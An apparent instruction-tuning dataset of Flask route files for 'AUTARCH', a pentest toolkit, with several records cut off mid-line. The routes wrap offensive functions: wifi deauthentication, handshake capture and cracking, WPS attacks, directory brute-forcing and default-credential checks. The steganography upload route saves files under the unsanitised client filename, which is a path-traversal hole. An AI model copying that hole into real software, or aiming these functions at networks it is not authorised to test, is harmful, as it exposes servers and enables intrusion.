{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Steganography' feature. It should have a blueprint with url_prefix='/stego', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 8 route handlers.", "input": "Feature: Steganography\nBlueprint: steganography_bp\nPrefix: /stego\nRoutes: 8", "output": "\"\"\"Steganography routes.\"\"\"\nimport os\nimport base64\nfrom flask import Blueprint, request, jsonify, render_template, current_app\nfrom web.auth import login_required\n\nsteganography_bp = Blueprint('steganography', __name__, url_prefix='/stego')\n\ndef _get_mgr():\n from modules.steganography import get_stego_manager\n return get_stego_manager()\n\n@steganography_bp.route('/')\n@login_required\ndef index():\n return render_template('steganography.html')\n\n@steganography_bp.route('/capabilities')\n@login_required\ndef capabilities():\n return jsonify(_get_mgr().get_capabilities())\n\n@steganography_bp.route('/capacity', methods=['POST'])\n@login_required\ndef capacity():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().capacity(data.get('file', '')))\n\n@steganography_bp.route('/hide', methods=['POST'])\n@login_required\ndef hide():\n mgr = _get_mgr()\n # Support file upload or path-based\n if request.content_type and 'multipart' in request.content_type:\n carrier = request.files.get('carrier')\n if not carrier:\n return jsonify({'ok': False, 'error': 'No carrier file'})\n upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')\n carrier_path = os.path.join(upload_dir, carrier.filename)\n carrier.save(carrier_path)\n message = request.form.get('message', '')\n password = request.form.get('password') or None\n output_path = os.path.join(upload_dir, f'stego_{carrier.filename}')\n result = mgr.hide(carrier_path, message.encode(), output_path, password)\n else:\n data = request.get_json(silent=True) or {}\n carrier_path = data.get('carrier', '')\n message = data.get('message', '')\n password = data.get('password') or None\n output = data.get('output')\n result = mgr.hide(carrier_path, message.encode(), output, password)\n return jsonify(result)\n\n@steganography_bp.route('/extract', methods=['POST'])\n@login_required\ndef extract():\n data = request.get_json(silent=True) or {}\n result = _get_mgr().extract(data.get('file', ''), data.get('password'))\n if result.get('ok') and 'data' in result:\n try:\n result['text'] = result['data'].decode('utf-8')\n except (UnicodeDecodeError, AttributeError):\n result['base64'] = base64.b64encode(result['data']).decode()\n del result['data'] # Don't send raw bytes in JSON\n return jsonify(result)\n\n@steganography_bp.route('/detect', methods=['POST'])\n@login_required\ndef detect():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_mgr().detect(data.get('file', '')))\n\n@steganography_bp.route('/whitespace/hide', methods=['POST'])\n@login_required\ndef whitespace_hide():\n data = request.get_json(silent=True) or {}\n from modules.steganography import DocumentStego\n result = DocumentStego.hide_whitespace(\n data.get('text', ''), data.get('message', '').encode(),\n data.get('password')\n )\n return jsonify(result)\n\n@steganography_bp.route('/whitespace/extract', methods=['POST'])\n@login_required\ndef whitespace_extract():\n data = request.get_json(silent=True) or {}\n from modules.steganography import DocumentStego\n result = DocumentStego.extract_whitespace(data.get('text', ''), data.get('password'))\n if result.get('ok') and 'data' in result:\n try:\n result['text'] = result['data'].decode('utf-8')\n except (UnicodeDecodeError, AttributeError):\n result['base64'] = base64.b64encode(result['data']).decode()\n del result['data']\n return jsonify(result)\n", "type": "route_creation", "source_file"
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Targets' feature. It should have a blueprint with url_prefix='/targets', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 7 route handlers.", "input": "Feature: Targets\nBlueprint: targets_bp\nPrefix: /targets\nRoutes: 7", "output": "\"\"\"Targets — scope and target management for pentest engagements.\"\"\"\n\nimport json\nimport uuid\nfrom datetime import datetime, timezone\nfrom pathlib import Path\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\ntargets_bp = Blueprint('targets', __name__, url_prefix='/targets')\n\n# ── Storage helpers ────────────────────────────────────────────────────────────\n\ndef _targets_file() -> Path:\n from core.paths import get_data_dir\n d = get_data_dir()\n d.mkdir(parents=True, exist_ok=True)\n return d / 'targets.json'\n\n\ndef _load() -> list:\n f = _targets_file()\n if not f.exists():\n return []\n try:\n return json.loads(f.read_text(encoding='utf-8'))\n except Exception:\n return []\n\n\ndef _save(targets: list) -> None:\n _targets_file().write_text(json.dumps(targets, indent=2), encoding='utf-8')\n\n\ndef _now() -> str:\n return datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')\n\n\ndef _new_target(data: dict) -> dict:\n host = data.get('host', '').strip()\n now = _now()\n return {\n 'id': str(uuid.uuid4()),\n 'name': data.get('name', '').strip() or host,\n 'host': host,\n 'type': data.get('type', 'ip'),\n 'status': data.get('status', 'active'),\n 'os': data.get('os', 'Unknown'),\n 'tags': [t.strip() for t in data.get('tags', '').split(',') if t.strip()],\n 'ports': data.get('ports', '').strip(),\n 'notes': data.get('notes', '').strip(),\n 'created_at': now,\n 'updated_at': now,\n }\n\n\n# ── Routes ─────────────────────────────────────────────────────────────────────\n\n@targets_bp.route('/')\n@login_required\ndef index():\n return render_template('targets.html', targets=_load())\n\n\n@targets_bp.route('/add', methods=['POST'])\n@login_required\ndef add():\n data = request.get_json(silent=True) or {}\n if not data.get('host', '').strip():\n return jsonify({'error': 'Host/IP is required'})\n targets = _load()\n t = _new_target(data)\n targets.append(t)\n _save(targets)\n return jsonify({'ok': True, 'target': t})\n\n\n@targets_bp.route('/update/<tid>', methods=['POST'])\n@login_required\ndef update(tid):\n data = request.get_json(silent=True) or {}\n targets = _load()\n for t in targets:\n if t['id'] == tid:\n for field in ('name', 'host', 'type', 'status', 'os', 'ports', 'notes'):\n if field in data:\n t[field] = str(data[field]).strip()\n if 'tags' in data:\n t['tags'] = [x.strip() for x in str(data['tags']).split(',') if x.strip()]\n t['updated_at'] = _now()\n _save(targets)\n return jsonify({'ok': True, 'target': t})\n return jsonify({'error': 'Target not found'})\n\n\n@targets_bp.route('/delete/<tid>', methods=['POST'])\n@login_required\ndef delete(tid):\n targets = _load()\n before = len(targets)\n targets = [t for t in targets if t['id'] != tid]\n if len(targets) < before:\n _save(targets)\n return jsonify({'ok': True})\n return jsonify({'error': 'Not found'})\n\n\n@targets_bp.route('/status/<tid>', methods=['POST'])\n@login_required\ndef set_status(tid):\n data = request.get_json(silent=True) or {}\n status = data.get('status', '')\n valid = {'active', 'pen
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Threat Intel' feature. It should have a blueprint with url_prefix='/threat-intel', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 13 route handlers.", "input": "Feature: Threat Intel\nBlueprint: threat_intel_bp\nPrefix: /threat-intel\nRoutes: 13", "output": "\"\"\"Threat Intelligence routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template, Response\nfrom web.auth import login_required\n\nthreat_intel_bp = Blueprint('threat_intel', __name__, url_prefix='/threat-intel')\n\ndef _get_engine():\n from modules.threat_intel import get_threat_intel\n return get_threat_intel()\n\n@threat_intel_bp.route('/')\n@login_required\ndef index():\n return render_template('threat_intel.html')\n\n@threat_intel_bp.route('/iocs', methods=['GET', 'POST', 'DELETE'])\n@login_required\ndef iocs():\n engine = _get_engine()\n if request.method == 'POST':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.add_ioc(\n value=data.get('value', ''),\n ioc_type=data.get('ioc_type'),\n source=data.get('source', 'manual'),\n tags=data.get('tags', []),\n severity=data.get('severity', 'unknown'),\n description=data.get('description', ''),\n reference=data.get('reference', '')\n ))\n elif request.method == 'DELETE':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.remove_ioc(data.get('id', '')))\n else:\n return jsonify(engine.get_iocs(\n ioc_type=request.args.get('type'),\n source=request.args.get('source'),\n severity=request.args.get('severity'),\n search=request.args.get('search')\n ))\n\n@threat_intel_bp.route('/iocs/import', methods=['POST'])\n@login_required\ndef import_iocs():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().bulk_import(\n data.get('text', ''), source=data.get('source', 'import'),\n ioc_type=data.get('ioc_type')\n ))\n\n@threat_intel_bp.route('/iocs/export')\n@login_required\ndef export_iocs():\n fmt = request.args.get('format', 'json')\n ioc_type = request.args.get('type')\n content = _get_engine().export_iocs(fmt=fmt, ioc_type=ioc_type)\n ct = {'csv': 'text/csv', 'stix': 'application/json', 'json': 'application/json'}.get(fmt, 'text/plain')\n return Response(content, mimetype=ct, headers={'Content-Disposition': f'attachment; filename=iocs.{fmt}'})\n\n@threat_intel_bp.route('/iocs/detect')\n@login_required\ndef detect_type():\n value = request.args.get('value', '')\n return jsonify({'type': _get_engine().detect_ioc_type(value)})\n\n@threat_intel_bp.route('/stats')\n@login_required\ndef stats():\n return jsonify(_get_engine().get_stats())\n\n@threat_intel_bp.route('/feeds', methods=['GET', 'POST', 'DELETE'])\n@login_required\ndef feeds():\n engine = _get_engine()\n if request.method == 'POST':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.add_feed(\n name=data.get('name', ''), feed_type=data.get('feed_type', ''),\n url=data.get('url', ''), api_key=data.get('api_key', ''),\n interval_hours=data.get('interval_hours', 24)\n ))\n elif request.method == 'DELETE':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.remove_feed(data.get('id', '')))\n return jsonify(engine.get_feeds())\n\n@threat_intel_bp.route('/feeds/<feed_id>/fetch', methods=['POST'])\n@login_required\ndef fetch_feed(feed_id):\n return jsonify(_get_engine().fetch_feed(feed_id))\n\n@threat_intel_bp.route('/lookup/virustotal', methods=['POST'])\n@login_required\ndef lookup_vt():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().lookup_virustotal(data.get('value', ''), data.get('api_key', '')))\n\n@threat_intel_bp.route('/lookup/abuseipdb', methods=['POST'])\n@login_required\ndef lookup_abuse():\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Upnp' feature. It should have a blueprint with url_prefix='/upnp', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 5 route handlers.", "input": "Feature: Upnp\nBlueprint: upnp_bp\nPrefix: /upnp\nRoutes: 5", "output": "\"\"\"UPnP management route\"\"\"\n\nimport json\nfrom flask import Blueprint, render_template, request, redirect, url_for, flash, current_app\nfrom web.auth import login_required\n\nupnp_bp = Blueprint('upnp', __name__, url_prefix='/upnp')\n\n\n@upnp_bp.route('/')\n@login_required\ndef index():\n from core.upnp import get_upnp_manager\n config = current_app.autarch_config\n upnp = get_upnp_manager(config)\n\n available = upnp.is_available()\n mappings = upnp.load_mappings_from_config()\n cron = upnp.get_cron_status()\n\n current_mappings = ''\n external_ip = ''\n if available:\n success, output = upnp.list_mappings()\n current_mappings = output if success else f'Error: {output}'\n success, ip = upnp.get_external_ip()\n external_ip = ip if success else 'N/A'\n\n return render_template('upnp.html',\n available=available,\n mappings=mappings,\n cron=cron,\n current_mappings=current_mappings,\n external_ip=external_ip,\n internal_ip=upnp._get_internal_ip(),\n )\n\n\n@upnp_bp.route('/refresh', methods=['POST'])\n@login_required\ndef refresh():\n from core.upnp import get_upnp_manager\n config = current_app.autarch_config\n upnp = get_upnp_manager(config)\n results = upnp.refresh_all()\n\n ok = sum(1 for r in results if r['success'])\n fail = sum(1 for r in results if not r['success'])\n\n if fail == 0:\n flash(f'Refreshed {ok} mapping(s) successfully.', 'success')\n else:\n flash(f'{ok} OK, {fail} failed.', 'warning')\n\n return redirect(url_for('upnp.index'))\n\n\n@upnp_bp.route('/add', methods=['POST'])\n@login_required\ndef add():\n from core.upnp import get_upnp_manager\n config = current_app.autarch_config\n upnp = get_upnp_manager(config)\n\n port = request.form.get('port', '')\n proto = request.form.get('protocol', 'TCP').upper()\n\n try:\n port = int(port)\n except ValueError:\n flash('Invalid port number.', 'error')\n return redirect(url_for('upnp.index'))\n\n internal_ip = upnp._get_internal_ip()\n success, msg = upnp.add_mapping(internal_ip, port, port, proto)\n\n if success:\n # Save to config\n mappings = upnp.load_mappings_from_config()\n if not any(m['port'] == port and m['protocol'] == proto for m in mappings):\n mappings.append({'port': port, 'protocol': proto})\n upnp.save_mappings_to_config(mappings)\n flash(f'Added {port}/{proto}', 'success')\n else:\n flash(f'Failed: {msg}', 'error')\n\n return redirect(url_for('upnp.index'))\n\n\n@upnp_bp.route('/remove', methods=['POST'])\n@login_required\ndef remove():\n from core.upnp import get_upnp_manager\n config = current_app.autarch_config\n upnp = get_upnp_manager(config)\n\n port = int(request.form.get('port', 0))\n proto = request.form.get('protocol', 'TCP')\n\n success, msg = upnp.remove_mapping(port, proto)\n if success:\n mappings = upnp.load_mappings_from_config()\n mappings = [m for m in mappings if not (m['port'] == port and m['protocol'] == proto)]\n upnp.save_mappings_to_config(mappings)\n flash(f'Removed {port}/{proto}', 'success')\n else:\n flash(f'Failed: {msg}', 'error')\n\n return redirect(url_for('upnp.index'))\n\n\n@upnp_bp.route('/cron', methods=['POST'])\n@login_required\ndef cron():\n from core.upnp import get_upnp_manager\n config = current_app.autarch_config\n upnp = get_upnp_manager(config)\n\n action = request.form.get('action', '')\n if action == 'install':\n hours = int(request.form.get('hours', 12))\n success, msg = upnp.install_cron(hours)\n elif action == 'uninstall':
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Vuln Scanner' feature. It should have a blueprint with url_prefix='/vuln-scanner', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 10 route handlers.", "input": "Feature: Vuln Scanner\nBlueprint: vuln_scanner_bp\nPrefix: /vuln-scanner\nRoutes: 10", "output": "\"\"\"Vulnerability Scanner routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template, Response\nfrom web.auth import login_required\n\nvuln_scanner_bp = Blueprint('vuln_scanner', __name__, url_prefix='/vuln-scanner')\n\n\ndef _get_scanner():\n from modules.vuln_scanner import get_vuln_scanner\n return get_vuln_scanner()\n\n\n@vuln_scanner_bp.route('/')\n@login_required\ndef index():\n return render_template('vuln_scanner.html')\n\n\n@vuln_scanner_bp.route('/scan', methods=['POST'])\n@login_required\ndef start_scan():\n \"\"\"Start a vulnerability scan.\"\"\"\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n if not target:\n return jsonify({'ok': False, 'error': 'Target required'}), 400\n\n profile = data.get('profile', 'standard')\n ports = data.get('ports', '').strip() or None\n templates = data.get('templates') or None\n\n scanner = _get_scanner()\n job_id = scanner.scan(target, profile=profile, ports=ports, templates=templates)\n return jsonify({'ok': True, 'job_id': job_id})\n\n\n@vuln_scanner_bp.route('/scan/<job_id>')\n@login_required\ndef get_scan(job_id):\n \"\"\"Get scan status and results.\"\"\"\n scan = _get_scanner().get_scan(job_id)\n if not scan:\n return jsonify({'ok': False, 'error': 'Scan not found'}), 404\n return jsonify({'ok': True, **scan})\n\n\n@vuln_scanner_bp.route('/scans')\n@login_required\ndef list_scans():\n \"\"\"List all scans.\"\"\"\n scans = _get_scanner().list_scans()\n return jsonify({'ok': True, 'scans': scans})\n\n\n@vuln_scanner_bp.route('/scan/<job_id>', methods=['DELETE'])\n@login_required\ndef delete_scan(job_id):\n \"\"\"Delete a scan.\"\"\"\n deleted = _get_scanner().delete_scan(job_id)\n if not deleted:\n return jsonify({'ok': False, 'error': 'Scan not found'}), 404\n return jsonify({'ok': True})\n\n\n@vuln_scanner_bp.route('/scan/<job_id>/export')\n@login_required\ndef export_scan(job_id):\n \"\"\"Export scan results.\"\"\"\n fmt = request.args.get('format', 'json')\n result = _get_scanner().export_scan(job_id, fmt=fmt)\n if not result:\n return jsonify({'ok': False, 'error': 'Scan not found'}), 404\n\n return Response(\n result['content'],\n mimetype=result['mime'],\n headers={'Content-Disposition': f'attachment; filename=\"{result[\"filename\"]}\"'}\n )\n\n\n@vuln_scanner_bp.route('/headers', methods=['POST'])\n@login_required\ndef check_headers():\n \"\"\"Check security headers for a URL.\"\"\"\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'}), 400\n result = _get_scanner().check_headers(url)\n return jsonify({'ok': True, **result})\n\n\n@vuln_scanner_bp.route('/ssl', methods=['POST'])\n@login_required\ndef check_ssl():\n \"\"\"Check SSL/TLS configuration.\"\"\"\n data = request.get_json(silent=True) or {}\n host = data.get('host', '').strip()\n if not host:\n return jsonify({'ok': False, 'error': 'Host required'}), 400\n port = int(data.get('port', 443))\n result = _get_scanner().check_ssl(host, port)\n return jsonify({'ok': True, **result})\n\n\n@vuln_scanner_bp.route('/creds', methods=['POST'])\n@login_required\ndef check_creds():\n \"\"\"Check default credentials for a target.\"\"\"\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n if not target:\n return jsonify({'ok': False, 'error': 'Target required'}), 400\n\n services = data.get('services', [])\n if not services:\n # Auto-detect services
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Webapp Scanner' feature. It should have a blueprint with url_prefix='/webapp_scanner', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 7 route handlers.", "input": "Feature: Webapp Scanner\nBlueprint: webapp_scanner_bp\nPrefix: None\nRoutes: 7", "output": "\"\"\"Web Application Scanner — web routes.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nwebapp_scanner_bp = Blueprint('webapp_scanner', __name__)\n\n\ndef _svc():\n from modules.webapp_scanner import get_webapp_scanner\n return get_webapp_scanner()\n\n\n@webapp_scanner_bp.route('/web-scanner/')\n@login_required\ndef index():\n return render_template('webapp_scanner.html')\n\n\n@webapp_scanner_bp.route('/web-scanner/quick', methods=['POST'])\n@login_required\ndef quick_scan():\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'})\n return jsonify({'ok': True, **_svc().quick_scan(url)})\n\n\n@webapp_scanner_bp.route('/web-scanner/dirbust', methods=['POST'])\n@login_required\ndef dir_bruteforce():\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'})\n extensions = data.get('extensions', [])\n return jsonify(_svc().dir_bruteforce(url, extensions=extensions or None,\n threads=data.get('threads', 10)))\n\n\n@webapp_scanner_bp.route('/web-scanner/dirbust/<job_id>', methods=['GET'])\n@login_required\ndef dirbust_status(job_id):\n return jsonify(_svc().get_job_status(job_id))\n\n\n@webapp_scanner_bp.route('/web-scanner/subdomain', methods=['POST'])\n@login_required\ndef subdomain_enum():\n data = request.get_json(silent=True) or {}\n domain = data.get('domain', '').strip()\n if not domain:\n return jsonify({'ok': False, 'error': 'Domain required'})\n return jsonify(_svc().subdomain_enum(domain, use_ct=data.get('use_ct', True)))\n\n\n@webapp_scanner_bp.route('/web-scanner/vuln', methods=['POST'])\n@login_required\ndef vuln_scan():\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'})\n return jsonify(_svc().vuln_scan(url,\n scan_sqli=data.get('sqli', True),\n scan_xss=data.get('xss', True)))\n\n\n@webapp_scanner_bp.route('/web-scanner/crawl', methods=['POST'])\n@login_required\ndef crawl():\n data = request.get_json(silent=True) or {}\n url = data.get('url', '').strip()\n if not url:\n return jsonify({'ok': False, 'error': 'URL required'})\n return jsonify(_svc().crawl(url,\n max_pages=data.get('max_pages', 50),\n depth=data.get('depth', 3)))\n", "type": "route_creation", "source_file": "web/routes/webapp_scanner.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Wifi Audit' feature. It should have a blueprint with url_prefix='/wifi', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 18 route handlers.", "input": "Feature: Wifi Audit\nBlueprint: wifi_audit_bp\nPrefix: /wifi\nRoutes: 18", "output": "\"\"\"WiFi Auditing routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nwifi_audit_bp = Blueprint('wifi_audit', __name__, url_prefix='/wifi')\n\ndef _get_auditor():\n from modules.wifi_audit import get_wifi_auditor\n return get_wifi_auditor()\n\n@wifi_audit_bp.route('/')\n@login_required\ndef index():\n return render_template('wifi_audit.html')\n\n@wifi_audit_bp.route('/tools')\n@login_required\ndef tools_status():\n return jsonify(_get_auditor().get_tools_status())\n\n@wifi_audit_bp.route('/interfaces')\n@login_required\ndef interfaces():\n return jsonify(_get_auditor().get_interfaces())\n\n@wifi_audit_bp.route('/monitor/enable', methods=['POST'])\n@login_required\ndef monitor_enable():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_auditor().enable_monitor(data.get('interface', '')))\n\n@wifi_audit_bp.route('/monitor/disable', methods=['POST'])\n@login_required\ndef monitor_disable():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_auditor().disable_monitor(data.get('interface')))\n\n@wifi_audit_bp.route('/scan', methods=['POST'])\n@login_required\ndef scan():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_auditor().scan_networks(\n interface=data.get('interface'),\n duration=data.get('duration', 15)\n ))\n\n@wifi_audit_bp.route('/scan/results')\n@login_required\ndef scan_results():\n return jsonify(_get_auditor().get_scan_results())\n\n@wifi_audit_bp.route('/deauth', methods=['POST'])\n@login_required\ndef deauth():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_auditor().deauth(\n interface=data.get('interface'),\n bssid=data.get('bssid', ''),\n client=data.get('client'),\n count=data.get('count', 10)\n ))\n\n@wifi_audit_bp.route('/handshake', methods=['POST'])\n@login_required\ndef capture_handshake():\n data = request.get_json(silent=True) or {}\n a = _get_auditor()\n job_id = a.capture_handshake(\n interface=data.get('interface', a.monitor_interface or ''),\n bssid=data.get('bssid', ''),\n channel=data.get('channel', 1),\n deauth_count=data.get('deauth_count', 5),\n timeout=data.get('timeout', 60)\n )\n return jsonify({'ok': True, 'job_id': job_id})\n\n@wifi_audit_bp.route('/crack', methods=['POST'])\n@login_required\ndef crack():\n data = request.get_json(silent=True) or {}\n job_id = _get_auditor().crack_handshake(\n data.get('capture_file', ''), data.get('wordlist', ''), data.get('bssid')\n )\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@wifi_audit_bp.route('/wps/scan', methods=['POST'])\n@login_required\ndef wps_scan():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_auditor().wps_scan(data.get('interface')))\n\n@wifi_audit_bp.route('/wps/attack', methods=['POST'])\n@login_required\ndef wps_attack():\n data = request.get_json(silent=True) or {}\n a = _get_auditor()\n job_id = a.wps_attack(\n interface=data.get('interface', a.monitor_interface or ''),\n bssid=data.get('bssid', ''),\n channel=data.get('channel', 1),\n pixie_dust=data.get('pixie_dust', True)\n )\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@wifi_audit_bp.route('/rogue/save', methods=['POST'])\n@login_required\ndef rogue_save():\n return jsonify(_get_auditor().save_known_aps())\n\n@wifi_audit_bp.route('/rogue/detect')\n@login_required\ndef rogue_detect():\n return jsonify(_get_auditor().detect_rogue_aps())\n\n@wifi_audit_bp.route('/capture/start', methods=['POST'])\n@login_required\ndef capture_start():\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Wireguard' feature. It should have a blueprint with url_prefix='/wireguard', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 25 route handlers.", "input": "Feature: Wireguard\nBlueprint: wireguard_bp\nPrefix: /wireguard\nRoutes: 25", "output": "\"\"\"WireGuard VPN Manager routes — server, clients, remote ADB, USB/IP.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nwireguard_bp = Blueprint('wireguard', __name__, url_prefix='/wireguard')\n\n\ndef _mgr():\n from core.wireguard import get_wireguard_manager\n return get_wireguard_manager()\n\n\ndef _json():\n \"\"\"Get JSON body or empty dict.\"\"\"\n return request.get_json(silent=True) or {}\n\n\n# ── Main Page ────────────────────────────────────────────────────────\n\n@wireguard_bp.route('/')\n@login_required\ndef index():\n mgr = _mgr()\n available = mgr.is_available()\n usbip = mgr.get_usbip_status()\n return render_template('wireguard.html',\n wg_available=available,\n usbip_status=usbip)\n\n\n# ── Server ───────────────────────────────────────────────────────────\n\n@wireguard_bp.route('/server/status', methods=['POST'])\n@login_required\ndef server_status():\n return jsonify(_mgr().get_server_status())\n\n\n@wireguard_bp.route('/server/start', methods=['POST'])\n@login_required\ndef server_start():\n return jsonify(_mgr().start_interface())\n\n\n@wireguard_bp.route('/server/stop', methods=['POST'])\n@login_required\ndef server_stop():\n return jsonify(_mgr().stop_interface())\n\n\n@wireguard_bp.route('/server/restart', methods=['POST'])\n@login_required\ndef server_restart():\n return jsonify(_mgr().restart_interface())\n\n\n# ── Clients ──────────────────────────────────────────────────────────\n\n@wireguard_bp.route('/clients/list', methods=['POST'])\n@login_required\ndef clients_list():\n mgr = _mgr()\n clients = mgr.get_all_clients()\n peer_status = mgr.get_peer_status()\n # Merge peer status into client data\n for c in clients:\n ps = peer_status.get(c.get('public_key', ''), {})\n c['peer_status'] = ps\n hs = ps.get('latest_handshake')\n if hs is not None and hs < 180:\n c['online'] = True\n else:\n c['online'] = False\n return jsonify({'clients': clients, 'count': len(clients)})\n\n\n@wireguard_bp.route('/clients/create', methods=['POST'])\n@login_required\ndef clients_create():\n data = _json()\n name = data.get('name', '').strip()\n if not name:\n return jsonify({'ok': False, 'error': 'Name required'})\n dns = data.get('dns', '').strip() or None\n allowed_ips = data.get('allowed_ips', '').strip() or None\n return jsonify(_mgr().create_client(name, dns=dns, allowed_ips=allowed_ips))\n\n\n@wireguard_bp.route('/clients/<client_id>', methods=['POST'])\n@login_required\ndef clients_detail(client_id):\n mgr = _mgr()\n client = mgr.get_client(client_id)\n if not client:\n return jsonify({'error': 'Client not found'})\n peer_status = mgr.get_peer_status()\n ps = peer_status.get(client.get('public_key', ''), {})\n client['peer_status'] = ps\n hs = ps.get('latest_handshake')\n client['online'] = hs is not None and hs < 180\n return jsonify(client)\n\n\n@wireguard_bp.route('/clients/<client_id>/toggle', methods=['POST'])\n@login_required\ndef clients_toggle(client_id):\n data = _json()\n enabled = data.get('enabled', True)\n return jsonify(_mgr().toggle_client(client_id, enabled))\n\n\n@wireguard_bp.route('/clien
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Wireshark' feature. It should have a blueprint with url_prefix='/wireshark', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 14 route handlers.", "input": "Feature: Wireshark\nBlueprint: wireshark_bp\nPrefix: /wireshark\nRoutes: 14", "output": "\"\"\"Wireshark/Packet Analysis route - capture, PCAP analysis, protocol/DNS/HTTP/credential analysis.\"\"\"\n\nimport json\nfrom pathlib import Path\nfrom flask import Blueprint, render_template, request, jsonify, Response, stream_with_context\nfrom web.auth import login_required\n\nwireshark_bp = Blueprint('wireshark', __name__, url_prefix='/wireshark')\n\n\n@wireshark_bp.route('/')\n@login_required\ndef index():\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n status = mgr.get_status()\n return render_template('wireshark.html', status=status)\n\n\n@wireshark_bp.route('/status')\n@login_required\ndef status():\n \"\"\"Get engine status.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n return jsonify(mgr.get_status())\n\n\n@wireshark_bp.route('/interfaces')\n@login_required\ndef interfaces():\n \"\"\"List network interfaces.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n return jsonify({'interfaces': mgr.list_interfaces()})\n\n\n@wireshark_bp.route('/capture/start', methods=['POST'])\n@login_required\ndef capture_start():\n \"\"\"Start packet capture.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n\n data = request.get_json(silent=True) or {}\n interface = data.get('interface', '').strip() or None\n bpf_filter = data.get('filter', '').strip() or None\n duration = int(data.get('duration', 30))\n\n result = mgr.start_capture(\n interface=interface,\n bpf_filter=bpf_filter,\n duration=duration,\n )\n return jsonify(result)\n\n\n@wireshark_bp.route('/capture/stop', methods=['POST'])\n@login_required\ndef capture_stop():\n \"\"\"Stop running capture.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n return jsonify(mgr.stop_capture())\n\n\n@wireshark_bp.route('/capture/stats')\n@login_required\ndef capture_stats():\n \"\"\"Get capture statistics.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n return jsonify(mgr.get_capture_stats())\n\n\n@wireshark_bp.route('/capture/stream')\n@login_required\ndef capture_stream():\n \"\"\"SSE stream of live capture packets.\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n\n def generate():\n import time\n last_count = 0\n while mgr._capture_running:\n stats = mgr.get_capture_stats()\n count = stats.get('packet_count', 0)\n\n if count > last_count:\n # Send new packets\n new_packets = mgr._capture_packets[last_count:count]\n for pkt in new_packets:\n yield f'data: {json.dumps({\"type\": \"packet\", **pkt})}\\n\\n'\n last_count = count\n\n yield f'data: {json.dumps({\"type\": \"stats\", \"packet_count\": count, \"running\": True})}\\n\\n'\n time.sleep(0.5)\n\n # Final stats\n stats = mgr.get_capture_stats()\n yield f'data: {json.dumps({\"type\": \"done\", **stats})}\\n\\n'\n\n return Response(stream_with_context(generate()), content_type='text/event-stream')\n\n\n@wireshark_bp.route('/pcap/analyze', methods=['POST'])\n@login_required\ndef analyze_pcap():\n \"\"\"Analyze a PCAP file (by filepath).\"\"\"\n from core.wireshark import get_wireshark_manager\n mgr = get_wireshark_manager()\n\n data = request.get_json(silent=True) or {}\n filepath = data.get('filepath', '').strip()\n max_packets = int(data.get('max_packets', 5000))\n\n if not filepath:\
|
|||
|
|
